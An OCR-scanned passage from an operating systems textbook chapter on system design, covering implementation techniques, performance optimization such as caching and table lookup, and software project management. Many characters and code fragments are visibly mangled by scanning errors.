is given in Fig. 13-5. It is simple and efficient. Doing the same thing for a linked 
list of minitables is more work. 

Static tables are best when there is plenty of memory or table utilizations can 
be guessed fairly accurately. For example, in a single-user system, it is unlikely 
that the user will start up more than 64 processes at once, and it is not a total 
disaster if an attempt to start a 65th one fails. 

Yet another alternative is to use a fixed-size table, but if it fills up, allocate a 
new fixed-size table, say, twice as big. The current entries are then copied over to 
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found ::: 0; 
for (p ::: &proc_table[O]; P < &proc_tab!e[PROC_ TABLE_SIZE}; p++) { 

if (p->proc_pid == pid) { 
found : 1 ;  
break; 

Figure 13-5. Code for searching the process table for a given PID. 

CHAP. 13 

the new table and the old table is returned to the free storage pooL In this way, 
the table is always contiguous rather than linked. The disadvantage here is that 
some storage management is needed and the address of the table is now a variable 
instead of a constant. 

A similar issue holds for kernel stacks. When a thread switches to kernel 
mode or a kernel-mode thread is run, it needs a stack in kernel space. For user 
threads the stack can be initialized to run down from the top of the virtual address 
space, �o the size need not be specified in advance. For kernel threads: the size 
must be specified in advance because the stack takes up some kernel vIrtual ad
dress space and there may be many stacks. The question is: how much space 
should each one get? The trade-offs here are similar to those for the process table. 

Another static-dynamic trade-off is process scheduling. In some systems, es
pecially real-time ones, the scheduling can be done statically in advance .

. 
For ex

ample, an airline knows what time its flights wiIl leave weeks befo�e th�lr depar
ture. Similarly, multimedia systems know when to schedule audIO, vIdeo, and 
other processes in advance. For general-purpose use, these considerations do not 
hold and scheduling must be dynamic. 

Yet another static-dynamic issue is kernel structure. It is much simpler if the 
kernel is built as a single binary program and loaded into memory to run. The 
consequence of this design, however, is that adding a new 110 device requires a 
relinking of the kernel with the new device driver. Early versions of UNIX worked 

. this way, and it was quite satisfactory in a minicomputer environment when add-
ing new 110 devices was a rare occurrence. Nowadays, most operating systems 
anow code to be added to the kernel dynamically, with all the additional com
plexity that entails. 

13.3.7 Top-Down versus Bottom-Up Implementation 

While it is best to design the system top down, in theory it can be imple
mented top down or bottom up. In a top�down implementation, the implementers 
start with the system call handlers and see what mechanisms and data structures 
are needed to support them. These procedures are written, and so on, until the 
hardware is reached. 

I 
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The problem with this approach is that it is hard to test anything with only the 
top-level procedures available. For this reason, many developers find it more 
practical to actually build the system bottom up. This approach entails first writ
ing code that hides the low-level hardware, essentiaIIy the HAL in Fig. 1 1-6. In
terrupt handling and the clock driver are also needed early on. 

Then multiprogramming can be tackled, along with a simple scheduler (e.g., 
round-robin scheduling). At this point it should be possible to test the system to 
see if it can run multiple processes correctly. If that works, it is now time to begin 
the careful definition of the various tables and data structures needed throughout 
the system, especially those for process and thread management and later memory 
management. I/O and the file system can wait initially, except for a primitive way 
to read the keyboard and write to the screen for testing and debugging. In some 
cases, the key low-level data. structures should be protected by allowing access 
only through specific access procedures-in effect, object-oriented programming, 
no matter what the programming language is. As lower layers are completed, 
they can be tested thoroughly. In this way, the system advances from the bottom 
up, much the way contractors build tall office buildings. 

If a large team is available, an alternative approach is to first make a detailed 
design of the whole system, and then assign different groups to write different 
modules. Each one tests its own work in isolation. When all the pieces are ready, 
they are integrated and tested. The problem with this line of attack is tflat if noth
ing works initially, it may be hard to isolate whether one or more modules are 
malfunctioning, or one group misunderstood what some other module was sup
posed to do. Nevertheless, with large teams, this approach is often used to maxim
ize the amount of parallelism in the programming effort. 

13.3.8 Useful Techniques 

We have just looked at some abstract ideas for system design and imple
mentation. Now we will examine a number of useful concrete techniques for sys
tem implementation. There are numerous others, of course, but space limitations 
restrict us to just a few of them. 

Hiding the Hardware 

A lot of hardware is ugly. It has to be hidden early on (unless it exposes pow
er, which most hardware does not). Some of the very low-level details can be hid
den by a HAL-type layer of the type shown in Fig. 13-2. However, many hard
ware details cannot be hidden this way. 

One thing that deserves early attention is how to deal with interrupts. They 
make programming unpleasant, but operating systems have to deal with them. 
One approach is to tum them into something else immediately. For example, 
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every interrupt could be turned into a pop-up thread instantly. At that point we 
are dealing with threads, rather than interrupts. 

A second approach is to convert each interrupt into an unlock operation on a 
mutex that the corresponding driver is waiting on. Then the only effect of an inter
rupt is to cause some thread to become ready. 

A third approach is convert an interrupt into a message to some thread. The 
low-level code just builds a message telling where the ioten"upt came from, en
enqueues it, and calls the scheduler to (potentially) run the handler, which was 
probably blocked waiting for the message. All these techniques, and others like 
them, all try to convert interrupts into thread synchronization operations. Having 
each intenupt handled by a proper thread in a proper context is easier to manage 
than running a handler in the arbitrary context that it happened to occur in. Of 
course, this must be done efficiently, but deep within the operating system, every
thing must be done efficiently. 

Most operating systems are designed to run on multiple hardware platfonns. 
These platforms can differ in terms of the CPU chip, MMU, word length, RAM 
size, and other features that cannot easily be masked by the HAL or equivalent. 
Nevertheless, it is highly desirable to have a single set of source files that are used 
to generate all versions; otherwise each bug that later turns up must be fixed mUl
tiple times in multiple sources, with the danger that the sources drift apart. 

Some hardware differences, such as RAM size, can be dealt with by having 
the operating system detennine the value at boot time and keep it in a variable. 
Memory allocators, for example, can use the RAM size variable to detennine l).ow 
big to make the block cache, page tables, and the like. Even static tables such as 
the process table can be sized based on the total memory available. 

However, other differences, such as different CPU chips, cannot be solved by 
having a single binary that detennines at run time which CPU it is running on. 
One way to tackle the problem of one source and mUltiple targets is to use condi
tional compilation. In the SOurce files, certain compile-time flags are defined for 
the different configurations and these are used to bracket code that is dependent 
on the CPU, word length, MMU, and so on. For example, imagine an operating 
system that is to run on the Pentium or UltraSPARC chips, which need different 
initialization code. The init procedure could be written as illustrated in Fig. 13-
6(a). Depending on the value of CPU, which is defined in the header file 
config.h, one kind of initialization or other is done. Because the actual binary con
tains only the code needed for the target machine, there is no loss of efficiency 
this way. 

As a second example, suppose there is a need for a data type Register, which 
should be 32 bits on the Pentium and 64 bits on the UltraSPARC. This could be 
handled by the conditional code of Fig. 1 3-6(b) (assuming that the compiler pro
duces 32-bit ints and 64-bit longs). Once this definition has been made (probably 
in a header file included everywhere), the programmer can just declare variables 
to be of type Register and know they will be the right length. 
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#inc!ude Rconfig.hff 

init( ) 
{ 
#if (CPU == PENTIUM) 
/* Pentium initialization here. */ 
#endif 

#if (CPU == ULTRASPARC) 
/* UltraSPARC initialization here. */ 
#endif 

(a) 

#include "config.h" 

#if (WORD _LENGTH = 32) 
typedef !nt Register; 
#endif 

#if (WORD_LENGTH == 64) 
typedef long Register; 
#endif 

Register RO, R1 ,  R2, R3; 

(b) 

Figure 13-6. (a) CPU-dependent conditional compilation. (b) Word-Iength
dependent conditional compilation. 
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The header file, config.h, has to be defined correctly, of course. For the Pen
tium it might be something like this: 

#define CPU PENT!UM 
#define WORD_LENGTH 32 

T� compile the system for the UltraSPARC, a different config.h would be used, 
WIth the correct values for the UltraSPARC, probably something like 

#define CPU ULTRASPARC 
#define WORD_LENGTH 64 

Some readers may be wondering why CPU and WORD_LENGTH are hand
led b� different macros. We could easily have bracketed the definition of Regis
ter with a test on CPU, setting it to 32 bits for the Pentium and 64 bits for the 
UltraSPARC. However, this is not a good idea. Consider what happens when we 
later port the system to the 64-bit Intel Itanium. We would have to add a third 
conditional to Fig. 13-6(b) for the Itanium. By doing it as we have all we have to 
do is include the line 

' 

#define WORD_LENGTH 64 

to the config.h file for the Itanium. 
This example illustrates the orthogonality principle we discussed earlier. 

Those items that are CPU-dependent should be conditionally compiled based on 
the CPU macro, and those that are word-length dependent should use the 
WORD _LENGTH macro. Similar considerations hold for many other parameters. 
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Indirection 

It is sometimes said that there is no problem in computer science that cannot 

be solved with another level of indirection. While something of an exaggeration, 

there is definitely a grain of truth here. Let liS consider some examples. On Pen

tium-based systems, when a key is depressed, the hardware generates an interrupt 

and puts the key number, rather than an ASCII character code, in a device regis

ter. Furthermore, when the key is released later, a second interrupt is generated, 

also with the key number. This indirection allows the operating system the possi

bility of using the key number to index ioto a table to get the ASCII cha�act�r, 

which makes it easy to handle the many keyboards used around the world 10 dIf

ferent countries. Getting both the depress and release information makes it pos

sible to use any key as a shift key, since the operating system knows the exact se

quence the keys were depressed and released. 

Indirection is also used on output. Programs can write ASCII characters to the 

screen, but these are interpreted as indices into a table for the current output font. 

The table entry contains the bitmap for the character. This indirection makes it 

possible to separate characters from fonts. . . 
Another example of indirection is the use of major devlce numbers III UNIX. 

Within the kernel there is a table indexed by major device number for the block 

devices and another one for the character devices. When a process opens a special 

file such as /dev/hdO, the system extracts the type (block or character) and major 

and minor device numbers from the i-node and indexes into the appropriate driver 

table to find the driver. This indirection makes it easy to reconfigure the system, 

because programs deal with symbolic device names, not actual driver names. 

Yet another example of indirection occurs in message-passing systems that 

name a mailbox rather than a process as the message destination. By indirecting 

through mailboxes (as opposed to naming a process as the destination), consid

erable flexibility can be achieved (e.g., having a secretary handle her boss' mes

sages). 
In a sense, the use of macros, such as 

#define PROC_ TABLE-SIZE 256 
is also a fonn of indirection, since the programmer can write code without having 
to know how big the table really is. It is good practice to give symbolic names to 
all constants (except sometimes -1, 0, and 1), and put these in headers with com
ments explaining what they are for. 

Reusability 

It is frequently possible to reuse the same code in slightly different contexts. 
Doing so is a good idea as it reduces the size of the binary and means that the 
code has to be debugged only once. For example, suppose that bitmaps are used to 
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keep track of free blocks on the disk. Disk block management can be handled by 
having procedures alioe and free that manage the bitmaps. 

As a bare minimum, these procedures should work for any disk. But we can 
go further than

. 
that. The same procedures can also work for managing memory 

blocks, blocks In the file system's block cache, and i-nodes. In fact, they can be 
used to allocate and deallocate any resources that can be numbered linearly. 

Reentrancy 

Reentrancy refers to the ability of code to be executed two or more times si
multaneously. On a multiprocessor, there is always the danger than while one 
CPU is executing some procedure, another CPU will start executing it as well, be
fore the first one has finished. In this case, two ( or more) threads on different 
CPUs might be executing the same code at the same time. This situation must be 
p:otected against by using mutexes or some other means to protect critical re
gIOns. 

However, the problem also exists on a uniprocessor. In particular, most of 
any operating system runs with interrupts enabled. To do otherwise would lose 
many interrupts and make the system unreliable. While the operating system is 
busy executing some procedure, P, it is entirely possible that an interrupt occurs 
and that the interrupt handler also calls P. If the data structures of P were in an 
inconsistent state at the time of the interrupt, the handler will see them in an 
inconsistent state and faiL 

An obvious example where this can happen is if P is the scheduler. Suppose 
that some process used up its quantum and the operating system was moving it to 
the end of its queue. Partway through the list manipulation, the intemtpt occurs, 
makes some process ready, and runs the scheduler. With the queues in an incon
sistent state, the system will probably crash. As a consequence even on a uniproc
essor, it is best that most of the operating system is reentrant, critical data struc
tures are protected by mutexes, and interrupts are disabled at moments when they 
cannot be tolerated. 

Brute Force 

Using brute force to solve a problem has acquired a bad name over the years, 
but it is often the way to go in the name of simplicity. Every operating system has 
many procedures that are rarely called or operate with so few data that optimizing 
them is not worthwhile. For example, it is frequently necessary to search various 
tables and arrays within the system. The brute force algorithm is to just leave the 
table in the order the entries are made and search it linearly when something has 
to be looked up. If the number of entries is small (say, under 1000), the gain from 
sorting the table or hashing it is small, but the code is far more complicated and 
more likely to have bugs in it. 
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Of course for functions that are on the critical path, say, context switching, 
everything sh�uld be done to make them very fast, possibly even writing them in 
(heaven forbid) assembly language. But large parts of th� system are not �n the 
critical path. For example, many system calls afe rarely mvoked . . If �ere :5 one 
fork every second, and it takes 1 msee to carry out, then even optlffilzmg It to 0 
wins only 0.1 %. If the optimized code is bigger and buggier, a case can be made 
not to bother with the optimization. 

Check for Errors First 

Many system calls can potentially fail for a variety of reasons: the file to be 
opened belongs to someone else; process creation fails because the p�ocess table 
is full; or a signal cannot be sent because the target process does not eXIst. The ?p� 
erating system must painstakingly check for every possible error before carrymg 
out the call. 

Many system calls also require acquiring resources such as process table slots, 
i�node table slots, or file descriptors. A general piece of advice that can save a lot 
of (Trief is to first check to see if the system call can actually be-carried out before 
ac;uiring any resources. This means putting all the tests at the beginning of the 
procedure that executes the system call. Each test should be of the form 

if (error _condition) return(ERROR_CODE); 

If the call gets all the way through the gamut of tests, then it is certain that it will 
succeed. At that point resources can be acquired. . . 

Interspersing the tests with resource acquisition means that If some test falls 
along the way, aU the resources acquired up to that point must be ret�rned. I� an 
error is made here and some resource is not returned, no damage IS done Im
mediately. For example, one process table entry may just become permanently 
unavailable. However, over a period of time, this bug may be triggered multiple 
times. Eventually, most or all of the process table entries may become unavail
able, leading to a system crash in an extremely unpredictable and difficult to 
debug way. . 

Many systems suffer from this problem in the form of memory leaks. TYPI
cally, the program calls malloc to allocate space but forgets to callfr�e later to re
lease it Ever so gradually, all of memory disappears until the system IS rebooted. 

Engler et a1. (2000) have pro1'sed an interesting way to check for some of 
these errorS at compile time. They observed that the programmer knows many 
invariants that the compiler does not know, such as when you lock a mutex, all 
paths starting at the lock must contain an unlock and no more locks of the same 
mutex. They have de'V:ised a way for the programmer to tell the compiler this fact 
and instruct it to check all the paths at compile time for violations of the invariant. 
The programmer can also specify that allocated memory must be released on all 
paths and many other conditions as well. 
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13.4 PERFORMANCE 

All things being equal, a fast operating system is better than a slow one. How
ever, a fast unreliable operating system is not as good as a reliable slow one. 
Since complex optimizations often lead to bugs, it is important to use them spar
ingly. This notwithstanding, there are places where performance is critical and 
optimizations are wen worth the effort. In the following sections, we will look at 
some general techniques that can be used to improve performance in places where 
that is called for. 

13.4.1 Why Are Operating Systems Slow? 

Before talking about optimization techniques, it is worth pointing out that the 
slowness of many operating systems is to a large extent self-inflicted. For ex
ample, older operating systems, such as MS-DOS and UNIX Version 7, booted 
within a few seconds. Modern UNIX systems and Windows Vista can take min� 
utes to boot, despite running on hardware that is . 1000 times faster. The reason is 
that they are doing much more, wanted or not. A case in point. Plug and play 
makes it somewhat easier to install a new hardware device, but the price paid is 
that on every boot, the operating system has to go out and inspect all the hardware 
to see if there is anything new out there. This bus scan takes time. 

• 

An alternative (and, in the author' s opinion, better) approach would be to 
scrap plug-and-play altogether and have an icon on the screen labeled "Install 
new hardware." Upon installing a new hardware device, the user would click on 
this icon to start the bus scan, instead of doing it on every boot. The designers of 
current systems were well aware of this option, of course. They rejected it, basi
cally, because they assumed that the users were too stupid to be able to do this 
correctly (although they would word it more kindly). This is only one example, 
but there are many more where the desire to make the system "user-friendly" (or 
"idiot-proof," depending on your viewpoint) slows the system down all the time 
for everyone. 

Probably the biggest single thing system designers can do to improve per
formance is to be much more selective about adding new features. The question to 
ask is not whether some users like it, but whether it is worth the inevitable price in 
code size, speed, complexity, and reliability. _ Only if the advantages clearly 
outweigh the drawbacks should it be included. Programmers have a tendency to 
assume that code size and bug count will be 0 and speed will be infinite. Experi� 
ence shows this view to be a bit optimistic. 

Another factor that plays a role is product marketing. By the time version 4 
or 5 of some product has hit the market, probably all the features that are actually 
useful have been included and most of the people who need the product already 
have it. To keep sales going, many manufacturers nevertheless continue to pro� 
duce a steady stream of new versions, with more features, just so they can sell 
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their existing customers upgrades. Adding new features just for the sake of adding 
new feature? may help sales but rarely helps perfonnance. 

13.4.2 What Should Be Optimized? 

As a general rule, the first version of the system should be as straightforward 
as possible. The only optimizations should be things that are so obviously going to 
be a problem that they are unavoidable. Having a block cache for the file system 
is such an example. Once the system is up and running, careful measurements 
should be made to see where the time is really going. Based on these numbers, 
optimizations should be made where they will help most. 

Here is a true story of where an optimization did more harm than good. One 
of the author's students (who shall here remain nameless) wrote the MINIX mkfs 
program. This program lays down a fresh file system on a newly formatted disk. 
The student spent about 6 months optimizing it, including putting in disk caching. 
When he turned it in, it did not work and it required several additional months of 
debugging. This program typically runs on the hard disk once during the life of 
the computer, when the system is installed. It also runs once for each floppy disk 
that is formatted. Each run takes about 2 sec. Even if the unoptimized version had 
taken I minute, it was a poor use of resources to spend so much time optimizing a 
program that is used so infrequently. 

A slogan that has considerable applicability to performance optimization is 

Good enough is good enough. 

By this we mean that once the performance has achieved a reasonable level, it is 
probably not worth the 

"
effort and complexity to squeeze out the last few percent. 

If the scheduling algorithm is reasonably fair and keeps the CPU busy 90% of the 
time, it is doing its job. Devising a far more complex one that is_5% better is prob
ably a bad idea. Similarly, if the page rate is low enough that it is not a 
bottleneck, jumping through hoops to get optimal performance is usually not 
worth it. Avoiding disaster is far more important than getting optimal per
fonnance, especially since what is optimal with one load may not be optimal with 
another. 

13.4.3 Space-Time Trade-orfs 

One general approach to improving performance is to trade off time versus 
space. It frequently occurs in computer science that there is a choice between an 
algorithm that uses little memory but is slow and an algorithm that uses much 
more memory but is faster. When making an important optimization, it is worth 
looking for algorithms that gain speed by using more memory or conversely save 
precious memory by doing more computation. 
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One technique that is often helpful is to replace small procedures by macros. 
Using a macro eliminates the overhead normally associated with a procedure call. 
The gain is especially significant if the call occurs inside a loop. As an example, 
suppose we use bitmaps to keep track of reSOurces and frequently need to know 
how many units are free in some portion of the bitmap. For this purpose we need a 
procedure, biLcount, that counts the number of 1 bits in a byte. The straightfor
ward procedur� is given in Fig. 13-7(a). It loops over the bits in a byte counting 
them one at a Hme. 
#define BYTE_SIZE 8 

int biLcount(int byte) 
{ 

int i, count -= 0; 

for (i -= 0; i < BYTE_SIZE; i++; 
if « byte » i) & 1)  count++; 

return(count); 

(0) 

r A byte contains 8 bits */ 

/* Count the bits in a byte. */ 

/* loop over the bits in a byte */ 
/* if this bit is a 1 ,  add to count */ 
/* return sum *f 

/*Macro to add up the bits in a byte and return the sum. */ 
#define biLcount(b) « b&1) + « b» 1)&1) + « b» 2)&1) + « b»3)&1) + \ 

({b»4)&1) + ((b»5)&1) + « b»6)&1) + ( b»7)&1)) 

(b) 

/*Macro to look up the bit count in a table. */ 
char bits[256] = to, 1 ,  1 , 2, 1 , 2. 2, 3, 1 , 2, 2, 3. 2, 3, 3, 4, 1 , 2, 2, 3, 2, 3, 3, . . J; 
#define biLcount(b) (int) bits[b] 

(e) 
Figure 13·7. (a) A procedure for counting bits in a byte. (b) A macro to COunt 
the bits. (c) A macro that counts bits by table lOOkup. 

This procedure has two sources of inefficiency. First, it must be called, stack 
space must be allocated for it, and it must return. Every procedure call has this 
overhead. Second, it contains a loop, and there is always some overhead associ
ated with a loop. 

A completely different approach is to use the macro of Fig. 13-7(b). It is an 
inline expression that computes the sum dr-the bits by successi vely shifting the 
argument, masking out everything but the low-order bit, and adding up the eight 
terms. The macro is hardly a work of art, but it appears in the code only once. 
When the macro is called, for example, by 

sum = biLcQunt(table[i]); 

the macro call looks identical to the call of the procedure. Thus, other than one 
somewhat messy definition, the code does not look any worse in the macro case 
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than in the procedure case, but it is much more efficient since it eliminates both 
the procedure call overhead and the loop overhead. 

We can take this example one step further. Wby compute the bit count at all? 
Why not look it up in a table? After aU, there are only 256 different bytes, each 
with a unique value between 0 and 8. We can declare a 256-entry table, bits, with 
each entry initialized (at compile time) to the bit count corresponding to that byte 
value. With this approach no computation at all is needed at run time, just one 
indexing operation. A macro to do the job is given in Fig. 1 3-7(c). 

This is a clear example of trading computation time against memory. Howev
er, we could go still further. If the bit counts for whole 32-bit words are needed, 
using our biCcount macro, we need to perfonn four lookups per word. If we ex
pand the table to 65,536 entries, we can suffice with two lookups per word, at the 
price of a much bigger table. 

Looking answers up in tables can also be used in other ways. For example, in 
Chap. 7 we saw how JPEG image compression works, with fairly complex dis
crete cosine transformations. An alternative compression technique, GlP, uses ta
ble lookup to encode 24-bit RGB pixels. However, OIF only works on images 
with 256 or fewer colors. For each image to be compressed, a palette of 256 en
tries is constructed, each entry containing one 24-bit ROB value. The compressed 
image then consists of an 8-bit index for each pixel instead of a 24-bit color value, 
a gain of a factor of three. This idea is illustrated for a 4 x 4 section of an image in 
Fig. 13-8. The original compressed image is shown in Fig. 1 3-8(a). Each value is 
a 24-bit value, with 8 bits for the intensity of red, green, and blue, respectively. 
The GIF image is shown in Fig. 13-8(b). Each value is an 8-bit index into the 
color palette. The color palette is stored as part of the image file, and is shown in 
Fig. 13-8(c). Actually, there is more to OIP, but the COre idea is table lookup. 

There is another way to reduce image size, and it illustrates a different trade
off. PostScript is a programming language that can be used to describe images. 
(Actually, any programming language can describe images, but PostScript is 
tuned for this purpose.) Many printers have a PostScript interpreter built into 
them to be able to run PostScript programs sent to them. 

For example, if there is a rectangular block of pixels all the same color in an 
image, a PostScript program for the image would carry instructions to place a rec
tangle at a certain location and fin it with a certain color. Only a handful of bits 
are needed to issue this command. When the image is received at the printer, an 
interpreter there must run the program to construct the image. Thus PostScript 
achieves data compression at the expense of more computation, a different trade
off than table lookup, but a valuable one when memory or bandwidth is scarce. 

Other trade-offs often involve data structures. Doubly linked lists take up 
more memory than singly linked lists, but often anow faster access to items. Hash 
tables are even more wasteful of space, but faster still. In short, one of the main 
things to consider when optimizing a piece of code is whether using different data 
structures would make the best time-space trade-off. 
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Figure 13-8. (a) Part of 
. 
an uncompressed image with 24 bits per pixeL (b) The 

same part compressed wlth OIF, with 8 bits per pixel. (c) The color palette. 

13.4.4 Caching 

987 

, 

A w�II-k?o.wn. technique for improving perfonnance is caching. It"is a licable any tl�e It IS lIkely the same result will be needed mUltiple times. The ::neral approach IS to do the full work the first time, and then save the result in a cache On sub�equent attempts, :he cache is first checked. If the reSult is there, it is used: OtherWIse, the full work IS done again. 
We have already seen the use of caching within the file system to hold some number .of recently used disk blocks, thus saving a disk read on each hit However, cachmg �an be �s�d for many other purposes as well. For exampl�, parsin<7 pat� names IS surpnsmgly expensive. Consider the UNIX example of Fig. 4-35 agam. To look up /usr/astlmbox requires the following disk accesses: 
1 .  Read the i-node for the root directory (i-node 1). 
2. Read the root directory (block I). 

3. Read the i-node for /usr (i-node 6). 
4. Read the lusr directory (block 132). 
5. Read the i-node for /usr/ast (i-node 26). 
6. Read the lusrlast directory (block 406). 

�t takes
. 
six disk accesses just to discover the i-node number of the file. Then the 

I-node Itself has to .be read to discover the disk block numbers. If the file is smal
ler than the block SIze (e.g., 1024 bytes), it takes 8 disk accesses to read the data. 
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Some systems optimize path name parsing by caching (path, i-node) combina
tions. For the _example of Fig. 4-35, the cache wili certainly hold th� first three en
tries of Fig. 13-9 after parsing lusrlastlmbox. The last three entrIes come from 
parsing other paths. 

Path I-node number 
/usr 6 

IUST/ast 26 

!usr/astlmbox 60 

lusr/ast/books 92 

Iusr/bal 45 

lusrlba!/paper.ps 85 

Figure 13·9. Part of the i-node cache for Fig. 4-35. 

When a path has to be looked up, the name parser first consults the 
,
cache and 

searches it for the lono-est substring present in the cache. For example, If the path 
/usrlastlgrants/stw is ;resented, the cache returns the fact that lusrlast is i-node 
26 so the search can start there, eliminating four disk accesses. , 

A problem with caching paths is that the mapping between file name a.nd i
node number is not fixed for all time. Suppose that the file lusrlastlmbox IS re
moved from the system and its i-node reused for a different file owned by a dif
ferent user. Later, the file lusrlastlmbox is created again, and this time it gets i
node 106. If nothing is done to prevent it, the cache entry will now be wrong and 
subsequent lookups will return the wrong i-node number. For this reason, whe� a 
file or directory is deleted. its cache entry and (if it is a directory) an the entnes 
below it must be purged from the cache. 

Disk blocks and path names are not the only items that are cacheable. I-nodes 
can be cached, too. If pop-up threads are used to handle interrupts, each one of 
them requires a stack and some additional machinery. These: previously 

.
used 

threads can also be cached, since refurbishing a used one is eaSIer than creatmg a 
new one from scratch (to avoid having to allocate memory). Just about anything 
that is hard to produce can be cached. 

13.4.5 Hints 

Cache entries are always correct. A cache search may fail, but if it finds an 
entry, that entry is guaranteed to be correct and can be used without further �do. 
In some systems, it is convenient to have a table of hints. These are suggestIOns 
about the solution, but they are not guaranteed to be correct. The caller must ver
ify the result itself. 
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A well-known example of hints are the URLs embedded on Web pages. 
Clicking on a link does not guarantee that the Web page pointed to is there. In 
fact, the page pointed to may have been removed 1 0  years ago. Thus the infor
mation on the pointing page is really only a hint. 

Hints are also used in connection with remote files. The information in the 
hint tells something -about the remote file, such as where it is located. However, 
the file may have moved or been deleted since the hint was recorded, so a check is 
always needed to see if it is correct. 

13.4.6 Exploiting Locality 

Processes and programs do not act at random. They exhibit a fair amount of 
locality in time and space, and·this information can be exploited in various ways 
to improve performance. One well-known example of spatial locality is the fact 
that processes do not jump around at random within their address spaces. They 
tend to use a relatively small number of pages during a given time interval. The 
p�ges that a process is actively using can be noted as its working set, and the oper
atmg system can make sure that when the process is allowed to run, its working 
set is in memory, thus reducing the number of page faults. 

. The locality principle also holds for files. When a process has selected a par
tlcular working directory, it is likely that many of its future file references will be 
to files in that directory. By putting all the i-nodes and files for each directory 
close together on the disk, performance improvements can be obtained. This prin
ciple is what underlies the Berkeley Fast File System (McKusick et aI., 1 984). 

Another area in which locality plays a role is in thread scheduling in multi
processors. As we saw in Chap. 8, one way to schedule threads on a multiproces
sor is to try to run each thread on the CPU it last used, in hopes that some of its 
memory blocks will still be in the memory cache. 

13.4.7 Optimize the Common Case 

It is frequently a good idea to distinguish between the most common case and 
the worst possible case and treat them differently. Often the code for the two is 
quite different. It is important to make the common case fast. For the worst case, 
if it occurs rarely, it is sufficient to make it correct. 

As a first example, consider entering a critical region. Most of the time, the 
entry will succeed, especially if processes do not spend a lot of time inside critical 
regions. Windows Vista takes advantage of this expectation by providing a 
Win32 API call EnterCritica!Section that atomically tests a flag in user mode 
(using TSL or equivalent). If the test succeeds, the process just enters the critical 
region and no kernel call is needed. If the test fails, the library procedure does a 
down on a semaphore to block the process. Thus in the normal case, no kernel call 
is needed. 
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As a second example, consider setting an alarm (using signals in UN�). If �o 
alarm is currently pending, it is straightforward to �ake. an entry and put;t o� t � timer ueue. However, if an alarm is already penctmg, It has to ,be foun an re 
movei from the timer queue. Since the alarm call does not speCIfy wh:-ther there 
is already an alarm set, the system has to assume worst cas�, that ther� IS. How�v
er, since most of the time there is no alarm ?e�din�, and SInce removmg an eXlst
'no- alarm is expensive, it is a good idea to dlstmgmsh these twO cases. 1 0 

One way to do this is to keep a bit in the process table �at tells wheth�r an 
alarm is ending. If the bit is off, the easy path is �ollowed (just add a new timer 
queue en�y without checking). If the bit is on, the tlmer queue must be checked. 

13.5 PROJECT MANAGEMENT 

Proo-rammers are perpetual optimists. Most of them think that the way to write 
a proor:m is to run to the keyboard and start typing. Shor.tly thereafter �he fuUr debu;ged program is finished. For very large pr?grams, It does not q�lt: wor 
like that. In the following sections we have a bIt to :ay about managllll;> large 
software projects, especially large operating system proJects. 

13.5.1 The Mythical Man Month 

In his classic book, Fred Brooks, one of the d�si�ners of OS/36�, w�o late� moved to academia, addresses the question of why It IS so hard to bu�ld bi? oper . (B k 1975 1995) When most proorammers see hIS claIm that atlno systems roo s, " I;> 
d large ro:rammers can produce only 1000 lines of debugg�d co e per year on �rorects, they wonder whether Prof. Brooks is living m ou�er space, perhaps on 

Planet Bug. After all, most of them can remember an �ll mghter when they pro
duced a 1000-line program in one night. How could thIS be the annual output of 
anybody with an lQ > 50? . '  d f What Brooks pointed out is that large proJects, with hundre s ° pro� 
grammers are completely different than small projects and that . the results 
obtained from small projects do not scale to lar�e. ones. In a l�rge project, a hug� amount of time is consumed planning how to diVIde the ,",:ork mt.o m�dules, care 
fully specifying the modules and their interfac�s, and trymg to Imagme how �e 
modules will interact, even before coding begms. Then the modu�es have to e 
coded and debugoed in isolation. Finally, the modules have to be mtegrated and 
the system as a whole has to be tested. The normal case is t�at each module works 
perfectly when tested by itself, but the system crash�s mstantly when all the 
pieces are put together. Brooks estimated the work as bemg 

113 Planning 
116 Coding 
114 Module testing 
114 System testing 
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In other words, writing the code is the easy part. The hard part is figuring out what the modules should be and making module A correctly talk to module B. In a small program written by a single programmer, all that is left over is the easy part. The title of Brooks' book comes from his assertion that people and time are not interchangeable. There is no such unit as a man-month (or a person-month). If a project takes 15 people 2 years to build, it is inconceivable that 360 people could do it in one month and probably not possible to have 60 people do it in 6 months. 
There are three reasons for this effect. First, the work cannot be fully paral� lelized. Until the planning is done and it has been detennined what modules are needed and what their interlaces will be, no coding can even be started. On a two-year project, the planning alone may take 8 months. Second, to fully utilize a large number of programmers, the work must be partitioned into large numbers of modules so that everyone has something to do. Since every module may potentially interact with every other module, the number of module-module interactions that need to be considered grows as the square of the number of modules, that is, as the square of the number of programmers. This complexity quickly gets out of hand. Careful measurements of 63 software projects have confirmed that the trade-off between people and months is far from linear on large projects (Boehm, 1981). 
Third, debugging is highly sequentiaL Setting 10 debuggers on a probJem does not find the bug 10 times as fast. In fact, ten debuggers are probably slower than one because they will waste so much time talking to each other. Brooks sums up his experience with trading-off people and time in Brooks' Law: 
Adding manpower to a late software project makes it later. 

The problem with adding people is that they have to be trained in the project, the modules have to be redivided to match the larger number of programmers now available, many meetings will be needed to coordinate all the efforts, and so on. Abdel-Hamid and Madnick (1991) confirmed this Law experimentally. A slightly irreverent way of restating Brooks law is 
It takes 9 months to bear a child, nO matter how many women you assign 
to the job. 

13.5.2 Team Structure 

Commercial operating systems are large software projects and invariably re
quire large teams of people. The quality of the people matters immensely. It has 
been known for decades that top programmers are lOx more productive than bad 
programmers (Sackman et aI., 1968). The trouble is, when you need 200 pro
grammers, it is hard to find 200 top programmers; you have to settle for a wide 
spectrum of qualities. 
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What is also important in any large design project, software or otherwise, is 
the need for architectura1 coherence. There should be one mind controlling the de
sign. Brooks cites the Rheims cathedral in France as an example of a large pro
ject that took decades to build, and in which the architects who came later �u��r
dinated their desire to put their stamp on the project to carry out the mltlal 
architect's plans. The result is an architectural coherence unmatched in other 
European cathedrals. 

In the 1970s, Harlan Mills combined the observation that some programmers 
are much better than others with the need for architectural coherence to propose 
the chief programmer team paradigm (Baker, 1972). His idea was to organize a 
programming team like a surgical team rather than like a hog-butchering team. In
stead of everyone hacking away like mad, one person wields the scalpel. Every
one else is there to provide support. For a lO-person project, Mills suggested the 
team structure of Fig. 13-10. 

Title Duties 

Chief programmer Periorms the architectural design and writes the code 

Copilot Helps the chief programmer and serves as a sounding board 

Administrator Manages the people, budget, space, equipment, reporting, etc. 

Editor Edits the documentation, which must be written by the chief programmer 

Secretaries The administrator and editor each need a secretary 

Program derk Maintains the code and documentation archives 

Toolsmith Provides any tools the chief programmer needs 

Tester Tests the chief programmer's code 

Language lawyer Part timer who can advise the chief programmer on the language 

